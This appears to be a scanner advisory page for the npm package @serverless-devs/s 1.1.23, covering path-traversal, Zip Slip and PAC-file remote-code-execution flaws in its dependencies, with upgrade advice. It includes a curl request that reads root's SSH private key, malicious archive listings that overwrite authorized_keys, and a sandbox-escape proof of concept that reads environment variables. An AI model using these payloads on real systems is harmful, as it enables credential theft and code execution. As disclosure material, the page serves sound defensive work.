@serverless-devs/s@1.1.23

Vulnerabilities

3 via 5 paths

Dependencies

327

Source

npm

Find, fix and prevent vulnerabilities in your code.

Severity
  • 2
  • 1
Status
  • 3
  • 0
  • 0

high severity

Directory Traversal

  • Vulnerable module: adm-zip
  • Introduced through: adm-zip@0.4.16

Detailed paths

  • Introduced through: @serverless-devs/s@1.1.23 adm-zip@0.4.16
    Remediation: Upgrade to @serverless-devs/s@2.0.0.

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Directory Traversal. It could extract files outside the target folder.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade adm-zip to version 0.5.2 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: pac-resolver
  • Introduced through: superagent-proxy@2.1.0

Detailed paths

  • Introduced through: @serverless-devs/s@1.1.23 superagent-proxy@2.1.0 proxy-agent@4.0.1 pac-proxy-agent@4.1.0 pac-resolver@4.2.0
    Remediation: Upgrade to @serverless-devs/s@2.0.0.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.

NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency written by the same maintainer.

PoC

const pac = require('pac-resolver');

// Should keep running forever (if not vulnerable):
setInterval(() => {
    console.log("Still running");
}, 1000);

// Parsing a malicious PAC file unexpectedly executes unsandboxed code:
pac(`
    // Real PAC config:
    function FindProxyForURL(url, host) {
        return "DIRECT";
    }

    // But also run arbitrary code:
    var f = this.constructor.constructor(\`
        // Running outside the sandbox:
        console.log('Read env vars:', process.env);
        console.log('!!! PAC file is running arbitrary code !!!');
        console.log('Can read & could exfiltrate env vars ^');
        console.log('Can kill parsing process, like so:');
        process.exit(100); // Kill the vulnerable process
        // etc etc
    \`);

    f();
`);

Remediation

Upgrade pac-resolver to version 5.0.0 or higher.

References

medium severity

Arbitrary File Write via Archive Extraction (Zip Slip)

  • Vulnerable module: decompress-tar
  • Introduced through: download@7.1.0

Detailed paths

  • Introduced through: @serverless-devs/s@1.1.23 download@7.1.0 decompress@4.2.1 decompress-tar@4.1.1
  • Introduced through: @serverless-devs/s@1.1.23 download@7.1.0 decompress@4.2.1 decompress-tarbz2@4.1.1 decompress-tar@4.1.1
  • Introduced through: @serverless-devs/s@1.1.23 download@7.1.0 decompress@4.2.1 decompress-targz@4.1.1 decompress-tar@4.1.1

Overview

decompress-tar is a tar plugin for decompress.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is possible to bypass the security measures provided by decompress and conduct ZIP path traversal through symlinks.

PoC

const decompress = require('decompress');

decompress('slip.tar.gz', 'dist').then(files => {
    console.log('done!');
});

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

Remediation

There is no fixed version for decompress-tar.

References